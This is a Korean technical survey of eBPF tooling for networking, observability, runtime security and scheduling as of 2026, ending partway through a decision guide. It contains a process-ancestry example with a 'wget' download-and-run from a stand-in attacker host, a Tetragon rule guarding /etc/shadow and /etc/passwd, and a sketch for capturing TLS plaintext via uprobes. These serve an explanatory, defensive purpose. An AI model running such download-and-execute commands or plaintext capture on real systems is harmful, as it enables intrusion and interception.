💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

원문 렌더가 준비되기 전까지 텍스트 가이드로 표시합니다.

eBPF가 인프라의 표준 신경계가 된 2026년

5년 전, eBPF는 "리눅스 커널 해커들의 신기한 장난감" 정도로 취급됐다. 2026년 지금, eBPF는 다음 영역에서 사실상 표준이다.

- **네트워크** — Cilium이 GKE, EKS, AKS의 기본 CNI 옵션이 됐고, kube-proxy를 대체하고 있다

- **관찰성** — Pixie, Parca, Beyla, Coroot가 "코드 수정 없이 자동 계측"을 현실로 만들었다

- **보안** — Tetragon, Falco가 runtime security의 사실상 표준이 됐다

- **스케줄링** — sched_ext (CONFIG_SCHED_CLASS_EXT)가 Linux 6.12부터 메인라인에 들어가, Meta, Google이 커스텀 스케줄러를 프로덕션에서 돌린다

- **전력** — Kepler가 CNCF Incubating에 진입, 데이터센터의 carbon footprint 측정의 사실상 표준이 됐다

이 글에서는 2026년 eBPF 생태계를 위에서부터 끝까지 훑는다. 각 도구가 어디서 무엇을 하는지, 왜 그렇게 작동하는지, 한국과 일본의 빅테크가 어떻게 도입했는지를 정리한다.

1. 2026년 eBPF — 4개 도메인의 사실상 표준

먼저 큰 그림부터 그리자. eBPF는 지금 네 영역에서 동시에 표준으로 굳어지고 있다.

┌──────────────────────────────────────────────────────────────────────────┐

│ eBPF 도메인별 2026년 표준 │

├──────────────────────────────────────────────────────────────────────────┤

│ 네트워크 / CNI │ Cilium (CNCF Graduated 2023) │

│ - 네트워크 관찰성 │ Hubble (Cilium의 자매 프로젝트) │

│ - kube-proxy 대체 │ Cilium kube-proxy replacement │

│ - 서비스 메시 │ Cilium Service Mesh (Envoy 사이드카리스) │

│ 관찰성 (트레이싱) │ Pixie (CNCF Sandbox, New Relic 후원 / 오픈소스) │

│ 관찰성 (프로파일링) │ Parca / Grafana Pyroscope │

│ 관찰성 (자동 계측) │ Grafana Beyla / OpenTelemetry eBPF Collector │

│ 관찰성 (자동 추론) │ Coroot │

│ k8s 진단 도구 │ Inspektor Gadget (Microsoft, CNCF Sandbox) │

│ 보안 (런타임) │ Falco (CNCF Graduated 2024) / Tetragon (Isovalent) │

│ - 정책 시그널 │ Cilium Tetragon │

│ - 시스템콜 감사 │ Falco │

│ 전력 / 지속가능성 │ Kepler (CNCF Incubating) │

│ 스케줄링 │ sched_ext (Linux 6.12+, Meta scx 스케줄러) │

└──────────────────────────────────────────────────────────────────────────┘

흥미로운 점은, 이 네 영역의 공통점이 "커널 안에서 안전하게 코드를 실행한다"는 단 하나의 기술 위에 서 있다는 것이다. 그 기술이 어떻게 가능한지 다음 장에서 본다.

2. eBPF 기초 — 왜 커널을 "안전하게" 확장할 수 있나

eBPF는 Extended Berkeley Packet Filter의 약자지만, 이름이 의미하는 것보다 훨씬 광범위하다. 본질은 "유저 공간이 작성한 작은 프로그램을 커널 컨텍스트에서 검증된 채로 실행할 수 있게 해주는 가상머신"이다.

전통적인 커널 확장 방법

1. **커널 모듈 (`.ko`)** — 강력하지만 위험하다. 잘못된 모듈은 커널 패닉을 일으킨다

2. **kprobes / uprobes / tracepoints** — 안전하지만 데이터 수집이 제한적이다

3. **systemtap** — 스크립트 언어로 보이지만 결국 커널 모듈로 컴파일된다

eBPF의 접근

유저 공간 커널 공간

───────── ─────────

[C 소스] [eBPF VM]

│ ▲

▼ │

[Clang/LLVM] ──▶ [eBPF bytecode] ──▶ [Verifier]

│

▼

[JIT 컴파일러]

│

▼

[네이티브 코드]

│

▼

[hook 지점: kprobe, tracepoint, XDP, sched ...]

핵심은 **Verifier**다. eBPF 프로그램은 커널에 로드되기 전에 다음을 검증받는다.

- **무한 루프 없음** — 모든 백워드 점프는 명시적으로 제한된 횟수만 허용 (bounded loop, Linux 5.3+)

- **유효한 메모리 접근만** — 포인터 추적, 범위 검사

- **종료 보장** — 실행 시간 상한 (1M 명령어, Linux 5.2+)

- **헬퍼 함수만 사용** — 임의의 커널 함수를 호출할 수 없고, 화이트리스트된 헬퍼만 호출 가능

이 verifier 덕분에, 사용자는 "커널 안에서 도는데도 커널을 망가뜨릴 수 없는" 코드를 쓸 수 있다. 이것이 eBPF의 마법이다.

eBPF 프로그램의 라이프사이클

// Hello eBPF (libbpf 스타일)

#include <linux/bpf.h>

#include <bpf/bpf_helpers.h>

SEC("tracepoint/syscalls/sys_enter_openat")

int trace_openat(void *ctx) {

char msg[] = "openat called\n";

bpf_trace_printk(msg, sizeof(msg));

return 0;

}

char LICENSE[] SEC("license") = "GPL";

컴파일

clang -O2 -target bpf -c hello.c -o hello.o

로드 (bpftool 사용)

sudo bpftool prog load hello.o /sys/fs/bpf/hello

sudo bpftool prog attach pinned /sys/fs/bpf/hello tracepoint syscalls sys_enter_openat

트레이스 출력 보기

sudo cat /sys/kernel/debug/tracing/trace_pipe

이 단순한 예제가 보여주는 것: openat 시스템콜이 호출될 때마다, 커널이 우리가 쓴 검증된 코드를 실행한다. 프로세스가 어떤 파일을 여는지를 추적할 수 있다.

3. CO-RE 혁명 — Compile Once, Run Everywhere

eBPF 초기의 가장 큰 문제는 **커널 버전 호환성**이었다. 커널의 내부 구조체는 버전마다 다르다. 예를 들어 `task_struct`의 어떤 필드는 5.4에서 오프셋 200, 5.10에서 오프셋 224, 6.5에서 오프셋 248에 위치한다.

그래서 옛날 BCC는 "런타임에 커널 헤더를 가지고 Clang으로 컴파일"하는 방식이었다. 단점:

- 모든 노드에 Clang + 커널 헤더 설치 필요 (수백 MB)

- 시작 시간 수 초 ~ 수십 초

- 운영 환경에서 컴파일러를 돌리는 것에 대한 거부감

CO-RE의 동작 원리

CO-RE는 BTF (BPF Type Format)와 libbpf의 재배치 기능으로 이 문제를 해결한다.

컴파일 시:

eBPF.c ──Clang/LLVM──▶ BPF bytecode + BTF 정보 (구조체 멤버 참조 메타데이터)

런타임:

실행 커널의 BTF (/sys/kernel/btf/vmlinux) 와 비교

──▶ libbpf가 오프셋 재계산

──▶ bytecode의 메모리 접근 명령어 패치

──▶ verifier 통과 후 로드

핵심 매크로는 `BPF_CORE_READ()`. 옛날에는 이렇게 썼다.

// BCC 방식 (런타임 컴파일)

struct task_struct *task = (struct task_struct *)bpf_get_current_task();

pid_t ppid;

bpf_probe_read(&ppid, sizeof(ppid), &task->real_parent->tgid);

지금은 이렇게 쓴다.

// CO-RE 방식 (한 번 컴파일, 어디서나 동작)

struct task_struct *task = (struct task_struct *)bpf_get_current_task();

pid_t ppid = BPF_CORE_READ(task, real_parent, tgid);

이 작은 차이가 만든 변화는 거대하다. **컨테이너 이미지 크기가 100MB가 아니라 5MB로 줄었고**, 시작 시간이 즉시가 됐다. Cilium, Pixie, Tetragon, Inspektor Gadget 등 모든 현대 eBPF 도구는 CO-RE를 기반으로 한다.

BTF 필수, 커널 헤더 불필요

2026년 기준으로 Ubuntu 22.04+, RHEL 9+, Amazon Linux 2023+, Bottlerocket 모두 기본으로 BTF가 포함된다 (`/sys/kernel/btf/vmlinux`). 옛 커널을 써야 하는 경우 BTFHub (https://github.com/aquasecurity/btfhub) 가 외부 BTF를 제공한다.

4. Pixie — Kubernetes 자동 계측의 결정판

Pixie는 New Relic이 인수해 오픈소스화한 (Apache 2.0) Kubernetes 관찰성 플랫폼이다. CNCF Sandbox에 있고, 2026년 들어 Incubating 후보로 거론되고 있다.

Pixie가 푸는 문제

전통적인 APM은 다음 중 하나를 강요한다.

1. 모든 서비스에 에이전트를 설치한다 (Datadog, New Relic APM)

2. 모든 서비스에 OpenTelemetry SDK를 코드로 임베드한다

3. 서비스 메시 사이드카를 깐다 (Istio, Linkerd)

세 방법 모두 **코드 변경 또는 배포 변경**이 필요하다. Pixie의 약속은 다르다. **"YAML 한 줄로 클러스터에 설치하고 그 즉시 모든 트래픽이 보인다."**

아키텍처

┌──────────────────────────────┐

│ Pixie UI / Pixie CLI │

│ PxL 쿼리 언어 (Python류) │

└──────────────┬───────────────┘

│ gRPC

┌───────────────▼─────────────────┐

│ Pixie Cloud (선택, 자가호스팅 가능) │

│ 또는 Pixie Vizier (클러스터 내) │

└───────────────┬─────────────────┘

│

┌────────────────────────────┼────────────────────────────┐

▼ ▼ ▼

┌───────┐ ┌───────┐ ┌───────┐

│ PEM │ │ PEM │ │ PEM │

│ (노드) │ │ (노드) │ │ (노드) │

└─┬─────┘ └─┬─────┘ └─┬─────┘

│ eBPF │ eBPF │ eBPF

▼ ▼ ▼

[커널 트레이스] [커널 트레이스] [커널 트레이스]

PEM = Pixie Edge Module (DaemonSet)

모든 데이터는 노드 메모리에 24시간만 보관 (장기 스토리지는 Iceberg/S3 연동)

PEM이 노드마다 떠서 다음을 자동으로 캡처한다.

- HTTP/HTTP2/gRPC 요청·응답 (header + body)

- MySQL, PostgreSQL, Redis, Kafka, MongoDB 쿼리

- DNS 쿼리

- TCP/UDP 연결, 재전송, RTT

- CPU 프로파일 (perf_event)

TLS도 보인다

가장 인상적인 부분. **HTTPS 트래픽이 보인다**. 어떻게? OpenSSL의 `SSL_read` / `SSL_write`에 uprobe를 걸어, 암호화 직전·복호화 직후의 평문을 본다.

// 단순화한 의사 코드

SEC("uprobe/SSL_write")

int trace_ssl_write(struct pt_regs *ctx) {

void *buf = (void *)PT_REGS_PARM2(ctx);

size_t len = (size_t)PT_REGS_PARM3(ctx);

// buf의 처음 N바이트를 perf buffer로 보낸다

...

}

Go 바이너리는 정적 링크되어 있어 좀 더 복잡하다. Pixie는 Go의 TLS 라이브러리 (`crypto/tls.(*Conn).Read/Write`) 심볼을 찾아 uprobe를 건다.

PxL 쿼리 예제

지난 5분간 가장 느린 HTTP 엔드포인트 Top 10

df = px.DataFrame(table='http_events', start_time='-5m')

df = df[df.resp_status >= 200]

df.endpoint = df.req_path

df = df.groupby('endpoint').agg(

p50=('latency', px.quantiles(0.50)),

p99=('latency', px.quantiles(0.99)),

count=('latency', px.count),

)

df = df.sort('p99', desc=True).head(10)

px.display(df)

PxL은 Python을 닮은 DSL이지만 실제로는 C++ 백엔드에서 컴파일·실행된다. 모든 쿼리가 PEM의 인메모리 데이터에서 수행되므로 빠르다.

한계

- **장기 스토리지 없음** — 기본 24시간. 길게 보관하려면 Pixie를 OpenTelemetry로 익스포트해 다른 백엔드 (Honeycomb, Tempo, Iceberg) 로 보내야 한다

- **자원 사용** — PEM은 노드당 메모리 1–2GB를 기본 점유. 작은 노드에서 부담

- **HTTPS는 uprobe 매칭이 핵심** — 정적 OpenSSL 링크, 비표준 TLS 라이브러리에서 까다로움

그래도 Pixie는 "eBPF 자동 계측이 무엇을 할 수 있는지" 보여준 결정판이다.

5. Parca — 지속적 프로파일링

Parca는 Polar Signals (Frederic Branczyk가 만든 회사) 의 오픈소스 지속적 프로파일링 도구다. 2026년 기준 CNCF Sandbox.

"지속적 프로파일링"이 무엇인가

전통적인 프로파일링은 "이상이 생기면 그때 perf record 돌려서 분석한다"였다. 지속적 프로파일링은 **항상 낮은 오버헤드로 (보통 1%) 모든 프로세스를 프로파일링하고 그 데이터를 저장**한다. 그래서 "지난주 화요일 오후 3시에 메모리가 튀었다" 같은 사후 분석이 가능해진다.

Parca의 차별점

다른 옵션:

- perf record → 수동, 데이터 거대

- py-spy / pyroscope → 언어별 에이전트

- Datadog Continuous Profiler → 유료, 프로프라이어터리

Parca의 접근:

- parca-agent: DaemonSet으로 노드마다 1개

- eBPF로 99Hz 스택 샘플링 (perf_event)

- Go, Rust, C/C++, Python, Java, Node.js 모두 단일 에이전트

- DWARF 기반 스택 언와인딩 (libunwind 없이 커널에서)

- pprof 호환 포맷으로 저장 (Parca Server)

노드별 스택 샘플링의 어려움

스택을 99Hz로 샘플링한다는 것은 1초에 99번, 모든 CPU에서 현재 실행 중인 함수의 콜스택을 캡처한다는 뜻이다. 콜스택은 stack pointer (rbp 레지스터) 를 따라가는 게 정석이지만, 현대 컴파일러는 최적화를 위해 frame pointer를 생략한다 (`-fomit-frame-pointer`).

해결책 두 가지.

1. **Frame pointer 재활성화** — Fedora 38+, Ubuntu 24.04+ 가 라이브러리 전체를 frame pointer 활성화로 빌드함 (정말 큰 변화였다)

2. **DWARF 기반 언와인딩** — DWARF eh_frame 섹션을 읽어 stack pointer 변환 규칙을 알아낸다. Parca는 이걸 eBPF 안에서 한다

Parca는 DWARF unwind 정보를 BPF map에 미리 로드한 다음, 샘플링 시점에 그걸 참고해 콜스택을 복원한다. 이 기술은 Polar Signals가 Linux 커뮤니티와 함께 만들어낸 결과물이고, 지금은 Grafana Pyroscope, Datadog의 profiler가 모두 같은 접근을 한다.

Flame Graph

수집된 스택 데이터는 Flame Graph (Brendan Gregg가 발명한 시각화) 로 본다.

┌──────────────────────────────────────┐

│ main (100%) │

├────────────┬─────────────────────────┤

│ http (80%) │ db.query (15%) │

├─────┬──────┼────────┬────────────────┤

│a(40)│b(40) │parse(5)│ exec(10) │

└─────┴──────┴────────┴────────────────┘

가로 길이 = CPU 시간 비율

위로 갈수록 호출 깊이

Parca vs Pyroscope vs Datadog

|------|---------|---------------------|----------------|--------|

| Datadog | 비공개 | 예 | 예 | SaaS |

| pprof + go pprof | 표준 | 아니오 | 컴파일러 의존 | 파일 |

2026년 추세는 Grafana Pyroscope + Parca 호환 포맷으로 수렴 중. pprof는 사실상 표준 교환 포맷이 됐다.

6. Cilium Hubble — Kubernetes 네트워크 관찰성

Cilium은 2023년에 CNCF Graduated가 됐고, 2026년 기준 GKE Dataplane v2, EKS Anywhere, AKS Advanced의 기본 옵션이다. Hubble은 Cilium의 자매 프로젝트로, 네트워크 흐름을 관찰한다.

kube-proxy의 한계

기존 kube-proxy는 iptables 또는 IPVS 규칙으로 ClusterIP 라우팅을 한다. 문제:

- 서비스 수가 늘면 iptables 규칙이 수만 개 — 패킷마다 O(n) 매칭 (IPVS는 해시지만 conntrack 부담)

- L7 라우팅 불가

- 정책 가시성 부족 (어떤 패킷이 왜 막혔는지 모름)

Cilium의 접근

TC ingress hook ─▶ eBPF 프로그램 ─▶ 라우팅/정책/로깅

├─▶ DROP / FORWARD / REDIRECT

└─▶ Hubble로 이벤트 전송

kube-proxy 대체: 서비스 매핑을 BPF map에 저장, 패킷 도착 시 O(1) 룩업

네트워크 정책: L3-L7 모두 BPF로 평가

Service Mesh: Envoy를 사이드카리스(per-node)로

Hubble UI

Hubble은 Cilium이 내보내는 흐름 이벤트를 수집해 다음을 보여준다.

- 실시간 서비스 의존성 그래프

- L7 메트릭 (HTTP status 분포, 메서드 분포)

- DNS 쿼리 흐름

- 정책 위반 (DENY 사유 포함)

CLI로 실시간 흐름 보기

hubble observe --namespace prod --follow

Mar 15 10:23:01.234 prod/frontend-7f6d-xqz → prod/api-3-abc:8080 SYN

Mar 15 10:23:01.235 prod/frontend-7f6d-xqz → prod/api-3-abc:8080 ACK

Mar 15 10:23:01.240 prod/frontend-7f6d-xqz → prod/api-3-abc:8080 HTTP/1.1 GET /v1/users/me (200, 5ms)

L7 통계

hubble observe --http-status 500 --since 5m --output table

Cilium Network Policy 예제

apiVersion: cilium.io/v2

kind: CiliumNetworkPolicy

metadata:

spec:

endpointSelector:

matchLabels:

app: api

ingress:

- fromEndpoints:

- matchLabels:

app: frontend

toPorts:

- ports:

- port: '8080'

protocol: TCP

rules:

http:

- method: GET

path: '/v1/.*'

- method: POST

path: '/v1/orders'

이 정책은 L7 (HTTP method + path) 까지 강제한다. 기존 NetworkPolicy로는 불가능했다.

Hubble Timescape

2025년 추가된 기능. Hubble의 흐름 데이터를 Iceberg로 장기 저장해 "지난주의 트래픽 패턴"을 분석할 수 있다. 보안 사고 사후 조사에 결정적이다.

7. Tetragon — Isovalent의 보안 관찰성

Tetragon은 Cilium을 만든 Isovalent (지금은 Cisco) 가 만든 보안 관찰성 / 런타임 보안 도구다. 2024년 CNCF Incubating에 진입.

Falco와 무엇이 다른가

Falco는 시스템콜을 후크해 룰 기반으로 감지한다. Tetragon은 비슷하지만 다음이 다르다.

| 측면 | Falco | Tetragon |

|------|-------|----------|

| 후크 방식 | libbpf modern eBPF + kernel module (legacy) | 순수 eBPF, CO-RE 기반 |

| 정책 언어 | YAML 룰 (Sysdig 호환) | TracingPolicy (CRD) |

| 실시간 차단 | 일부 (BPF helper) | 강력 (sigkill, override) |

| 프로세스 컨텍스트 | 풍부 | 풍부 + 부모/조부모/exec ancestry |

| k8s 통합 | 양호 | 매우 강력 (Pod 메타데이터 자동 부착) |

실시간 차단의 의미

Tetragon은 BPF 헬퍼 `bpf_send_signal()` 로 위반 프로세스에 SIGKILL을 보낼 수 있다. 즉, "감지 후 알림"이 아니라 "감지 즉시 차단"이다.

apiVersion: cilium.io/v1alpha1

kind: TracingPolicy

metadata:

spec:

kprobes:

- call: 'security_file_open'

syscall: false

args:

- index: 0

type: 'file'

selectors:

- matchArgs:

- index: 0

operator: 'Prefix'

values:

- '/etc/shadow'

- '/etc/passwd'

matchActions:

- action: 'Sigkill'

이 정책이 적용되면, 어떤 프로세스든 `/etc/shadow`를 열려고 시도하는 순간 커널 컨텍스트에서 SIGKILL이 발생한다. 유저 공간 에이전트가 깨어나서 결정을 내리는 게 아니다. 이게 가능한 이유는 verifier가 통과한 코드가 커널 안에서 직접 실행되기 때문이다.

Process Ancestry

Tetragon이 자랑하는 또 다른 기능. 모든 이벤트가 "이 프로세스가 어떻게 생성됐는지" 추적할 수 있다.

프로세스 sshd (pid 1234, uid 0)

└─ bash (pid 1235, uid 0)

└─ wget http://attacker.com/x.sh (pid 1240, uid 0)

└─ sh x.sh (pid 1241, uid 0)

└─ /tmp/x (pid 1245, uid 0) ← 위반 발생

이 ancestry는 eBPF에서 `task_struct->real_parent`를 추적해 만들어진다. 보안 사고 분석에서 "이 마이너 위반의 진짜 시작점이 어디였는가"를 즉시 알 수 있다.

8. BCC + bpftrace — 전통적 트레이싱 도구

위의 도구들이 "프로덕션 데몬"이라면, BCC와 bpftrace는 "엔지니어가 SSH로 들어가서 직접 돌리는" 트레이싱 도구다. Brendan Gregg의 책 "BPF Performance Tools" (2019) 이후 표준이 됐다.

BCC vs bpftrace

- **BCC**: Python 또는 C++로 래퍼를 쓰는 더 큰 프레임워크. 복잡한 도구 (`opensnoop`, `execsnoop`, `biolatency`, `tcplife` 등 200+개)

- **bpftrace**: awk 스타일의 단일 라인 DSL. 즉석에서 트레이싱 가능

bpftrace 일발 마법

1) 어떤 프로세스가 어떤 파일을 여는지 (3초간)

sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s opens %s\n", comm, str(args->filename)); }' -c 'sleep 3'

2) 디스크 I/O 레이턴시 히스토그램

sudo bpftrace -e '

kprobe:vfs_read { @start[tid] = nsecs; }

kretprobe:vfs_read /@start[tid]/ {

@ns = hist(nsecs - @start[tid]);

delete(@start[tid]);

}

3) 어느 함수가 가장 많이 호출되나 (10초간)

sudo bpftrace -e 'profile:hz:99 { @[kstack(3)] = count(); }' -c 'sleep 10' | head -20

4) TCP 재전송 발생할 때마다 누구한테 가는지

sudo bpftrace -e '

kprobe:tcp_retransmit_skb {

$sk = (struct sock *)arg0;

printf("retransmit %s\n", ntop($sk->__sk_common.skc_daddr));

}

BCC의 표준 도구들

`bcc-tools` (Ubuntu/Debian) 또는 `bpftrace` (CO-RE 빌드) 로 설치 후, `/usr/sbin/` 또는 `/usr/share/bcc/tools/` 에서 다음을 쓸 수 있다.

어떤 프로세스가 새로 떴는지

sudo execsnoop-bpfcc

어떤 파일이 열렸는지

sudo opensnoop-bpfcc

TCP 연결 라이프

sudo tcplife-bpfcc

블록 I/O 레이턴시 히스토그램

sudo biolatency-bpfcc

CPU 사용 상위

sudo profile-bpfcc 10

이런 도구의 가치

위에서 본 Pixie, Parca, Hubble은 "항상 켜놓는" 도구다. 반면 BCC/bpftrace는 "장애 상황에서 즉석에서 답을 얻는" 도구다. 둘 다 필요하다.

Brendan Gregg의 "Systems Performance" (2판, 2020) 와 "BPF Performance Tools" (2019) 가 이 분야의 바이블이다. 한국어 번역본은 후자가 "BPF 성능 분석 도구"로 한빛미디어에서 나왔다.

9. OpenTelemetry eBPF Collector + Grafana Beyla — 자동 계측의 표준화

OpenTelemetry는 CNCF의 관찰성 표준이다. 2025년 들어 eBPF 기반 자동 계측이 두 흐름으로 굳어졌다.

OpenTelemetry eBPF Collector

opentelemetry-ebpf 프로젝트는 OpenTelemetry 공식 컴포넌트. Splunk가 주도해 만들었고, 다음을 자동 수집한다.

- 네트워크 흐름 메트릭 (kprobe 기반)

- DNS, TCP, UDP 통계

- Pod/Service/Workload 라벨링 (k8s 통합)

OTLP로 내보내므로, 어떤 백엔드 (Tempo, Jaeger, Honeycomb, Datadog) 든 받을 수 있다.

Grafana Beyla

Beyla는 Grafana Labs가 만든 Go 기반의 eBPF 자동 계측 에이전트다. 2024년 GA. 특징.

- HTTP, gRPC, SQL, Redis 같은 프로토콜을 uprobe로 자동 인식

- TLS 트래픽도 OpenSSL/Go TLS의 함수에 후크해 평문 캡처

- 분산 트레이스 컨텍스트 (W3C traceparent) 도 추출

- OTLP, Prometheus, Mimir로 익스포트

단순 실행 (어떤 프로세스를 따라갈지 BEYLA_EXECUTABLE_NAME으로 지정)

BEYLA_EXECUTABLE_NAME=myapp \

BEYLA_PROMETHEUS_PORT=9090 \

BEYLA_OPEN_PORT=8080 \

sudo beyla

k8s에서 DaemonSet으로

apiVersion: apps/v1

kind: DaemonSet

metadata:

spec:

template:

spec:

hostPID: true # 호스트의 다른 프로세스를 보기 위해

containers:

- name: beyla

image: grafana/beyla:latest

securityContext:

privileged: true # 단순화: 실제로는 CAP_SYS_ADMIN, CAP_BPF만 필요

env:

- name: BEYLA_DISCOVERY_SERVICES

value: 'k8s:.*' # 모든 k8s 서비스 자동 발견

- name: BEYLA_OTEL_ENDPOINT

value: 'http://otel-collector:4318'

Beyla vs Pixie

| 측면 | Beyla | Pixie |

|------|-------|-------|

| 후원 | Grafana Labs | New Relic |

| 라이선스 | Apache 2.0 | Apache 2.0 |

| 데이터 모델 | OTLP (표준) | PxL 쿼리 (자체) |

| 백엔드 | Tempo, Jaeger, 어떤 OTLP 백엔드든 | Pixie Vizier + 익스포트 |

| 강점 | OTel 생태계 통합 | 인메모리 쿼리, 풍부한 UI |

2026년 트렌드는 분명하다. **자동 계측은 사실상 모두 OpenTelemetry로 가는 길**이고, Beyla / Pixie / Coroot가 그 길을 닦는 중이다.

10. Coroot — 자동 추론 관찰성

Coroot는 2023년 등장한 비교적 새 프로젝트지만, "자동 추론 (auto-inferred)" 관찰성이라는 접근으로 빠르게 자리를 잡았다. 오픈소스 (Apache 2.0).

"자동 추론"이 무슨 뜻인가

전통적인 관찰성은 사람이 다음을 설정해야 한다.

- 어떤 지표가 SLO인가

- 어떤 서비스가 어떤 다른 서비스에 의존하는가

- 알람 임계값은 무엇인가

- 어떤 로그 패턴이 에러인가

Coroot의 약속: **"이 모든 걸 eBPF로 관찰해 자동으로 추론한다."**

Coroot가 자동으로 만드는 것:

1. 서비스 의존성 그래프 (네트워크 흐름에서)

2. SLO 후보 (HTTP/gRPC 트래픽 분석)

3. 데이터베이스 쿼리 그루핑 (정규화 후 자동 분류)

4. 알람 후보 (이상 탐지 기반)

5. 비용 / 자원 효율성 분석

구조

Coroot도 노드별 에이전트 (coroot-node-agent) 를 띄운다. 이 에이전트가 eBPF로 다음을 캡처한다.

- TCP 연결, RTT, 재전송

- HTTP/HTTPS (uprobe로 TLS 캡처)

- DB 프로토콜 (PostgreSQL, MySQL, Redis, MongoDB)

- 파일 I/O, CPU 사용

수집된 데이터는 Coroot Server (Go) 가 Prometheus, ClickHouse를 백엔드로 저장한다.

자동 추론의 예

Coroot UI에 들어가면 다음과 같은 화면이 즉시 보인다.

- "frontend → api → postgres → s3" 의존성 그래프

- 각 엣지의 RPS, p99 레이턴시, 에러율

- "postgres에 가는 쿼리 중 SELECT * FROM users WHERE ... 가 p99 200ms로 가장 느린 쿼리"

- "frontend 노드 ip-10-0-1-23은 평소보다 CPU가 30% 높음"

이게 다 자동이다. 사람이 대시보드를 짠 게 아니다. 작은 팀에 특히 유용하다.

한계

Coroot는 "표준"보다는 "편리함"에 가깝다. 백엔드가 Prometheus + ClickHouse라 데이터 호환성은 좋은데, 데이터 모델이 자체적이라 이미 Datadog, Honeycomb에 익숙한 조직에는 추가 학습이 필요하다.

11. Inspektor Gadget / Kepler / Falco — 작지만 중요한 셋

Inspektor Gadget (Microsoft, CNCF Sandbox)

Inspektor Gadget은 Microsoft가 후원하는 "eBPF로 만든 k8s 디버깅 도구 모음"이다. kubectl 플러그인으로 동작한다.

kubectl gadget trace exec # 클러스터 전체에서 새로 뜨는 프로세스 추적

kubectl gadget trace open # 어떤 파일이 열리는지

kubectl gadget trace dns # DNS 쿼리 흐름

kubectl gadget snapshot socket # 모든 노드의 열린 소켓 스냅샷

kubectl gadget top file # 파일 I/O 사용량 상위

내부적으로는 BCC 도구들을 wrapping한 형태에서 시작해 지금은 자체 IG (Inspektor Gadget) framework로 진화했다. CO-RE 기반.

Kepler (Sustainable Computing)

Kepler (Kubernetes Efficient Power Level Exporter) 는 CNCF Sandbox에서 시작해 2025년 Incubating으로 승격. 컨테이너 단위의 전력 사용량을 측정한다.

방법은 영리하다. CPU 카운터 (RAPL: Running Average Power Limit), 디스크 I/O, 네트워크 I/O를 eBPF로 컨테이너 단위로 attribution한 다음, 머신 러닝 모델로 와트 단위 전력을 추정한다.

Prometheus 메트릭으로 노출

kepler_container_joules_total{container_name="myapp"} 12345.6

kepler_container_other_joules_total{...}

이 데이터로 Carbon Footprint 계산기 (Cloud Carbon Footprint) 가 연동돼 "이 서비스가 한 달에 몇 kg CO2를 만들었나"를 보여준다. ESG 보고서, FinOps에 직결된다.

Falco (CNCF Graduated)

Falco는 2024년 CNCF Graduated. 본질은 "시스템콜을 후크해 룰을 평가하는 런타임 보안 엔진"이다.

falco_rules.yaml 일부

- rule: Write below etc

desc: an attempt to write to any file below /etc

condition: write_etc_common

output: 'File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name parent=%proc.pname)'

priority: ERROR

tags: [filesystem, mitre_persistence]

Falco는 modern eBPF probe (libbpf 기반) 가 디폴트가 됐고, 옛 커널 모듈 드라이버는 deprecated 됐다. 룰셋은 "Falco Rules" 공식 저장소에 600+개가 있고, 대부분의 MITRE ATT&CK 카테고리를 커버한다.

Tetragon과 Falco는 경쟁 관계지만 자주 함께 쓰인다. Falco는 룰셋이 풍부하고, Tetragon은 실시간 차단이 강력하다.

12. Windows eBPF / macOS eBPF — 다른 OS로의 확장

eBPF가 더 이상 Linux만의 기술이 아니다.

eBPF for Windows (Microsoft)

Microsoft는 2021년 eBPF for Windows 프로젝트를 시작했다. 2026년 기준 안정 버전이 Windows Server 2025에 포함됐고, Azure에서 프로덕션 사용이 시작됐다.

Linux 호환:

- libbpf 호환 API

- 같은 .o 파일을 (대부분) 둘 다 로드 가능

- BPF_PROG_TYPE_XDP, BPF_PROG_TYPE_BIND, BPF_PROG_TYPE_CGROUP_SOCK 등 핵심 타입

차이:

- Verifier가 PREVAIL (Microsoft 별도 구현, 학술적으로 검증)

- JIT는 Microsoft uBPF 기반

- Hook 포인트가 NDIS (네트워크 드라이버 스택) 중심

Azure의 보안팀이 Tetragon-스타일의 후크를 Windows VM에서 돌리고, Cilium의 Windows 노드 지원도 진행 중. 게임 체인저는 아니지만, "eBPF는 Linux만의 기술"이라는 인식이 빠르게 사라지고 있다.

macOS와 Apple Silicon

Apple은 공식적으로 eBPF를 지원하지 않는다. macOS의 kqueue, DTrace, Endpoint Security API가 비슷한 역할을 한다. 다만 2025년 들어 Apple Silicon 위에서 Linux VM (Lima, Tart, OrbStack) 으로 eBPF 도구를 돌리는 흐름이 정착됐고, Asahi Linux는 ARM eBPF 지원을 잘 한다.

실험적으로, mac-bpf, ebpf-darwin 같은 비공식 포팅 시도가 있지만, 프로덕션 사용은 사실상 없다. macOS는 Linux VM 안에서 eBPF를 쓰는 게 정답이다.

13. 한국 / 일본의 도입 — 토스, 카카오, 라인, Mercari

토스 — Cilium + Hubble + Tetragon 전사 표준

토스 (Toss) 는 2024년 토스 콘퍼런스 SLASH에서 자사 인프라가 EKS + Cilium 기반이라고 발표했다. 핵심 동기는 kube-proxy의 iptables 룰 폭발 문제였다. Cilium 도입 후:

- 노드당 iptables 룰 수가 1만+ → 거의 0

- 서비스 디스커버리 레이턴시 p99 감소

- Hubble로 마이크로서비스 의존성 시각화

- 일부 보안 도메인에서 Tetragon으로 런타임 차단

토스 SLASH 24 발표 자료는 YouTube에 공개되어 있다.

카카오 — eBPF 기반 사내 트레이싱

카카오는 ifkakao 2024에서 eBPF 기반 사내 트레이싱 시스템을 소개했다. 핵심은 BCC + 자체 컬렉터로 RPC 호출과 데이터베이스 쿼리를 자동 캡처하는 것. Pixie를 평가했지만 자체 구축을 선택했다.

라인 (LINE / LY Corporation)

라인은 LINE Engineering 블로그에서 eBPF 활용 사례를 여러 차례 공개했다. 특히 메신저 트래픽의 TCP 재전송 분석, kafka 클러스터의 네트워크 디버깅에 bpftrace를 적극 사용한다.

Mercari — Continuous Profiling 도입

Mercari는 2024년 Mercari Engineering 블로그에서 Grafana Pyroscope (Parca 호환) 를 프로덕션에 도입한 사례를 공유했다. Go 마이크로서비스 100+개의 CPU 핫스팟을 발견해 EC2 비용을 절감.

Yahoo Japan / LY Corporation

Yahoo! JAPAN은 eBPF 기반 네트워크 관찰성을 2023년부터 운영하고 있다. 자체 컬렉터로 노드의 모든 TCP 흐름을 캡처해 ClickHouse에 저장한다.

14. 도입 결정 가이드 — 무엇을 언제 쓸 것인가

마지막으로 실전 의사결정 가이드. "처음부터 다 도입"하지 말고, 단계별로 가자.

1단계 — 네트워크 가시성이 필요한가

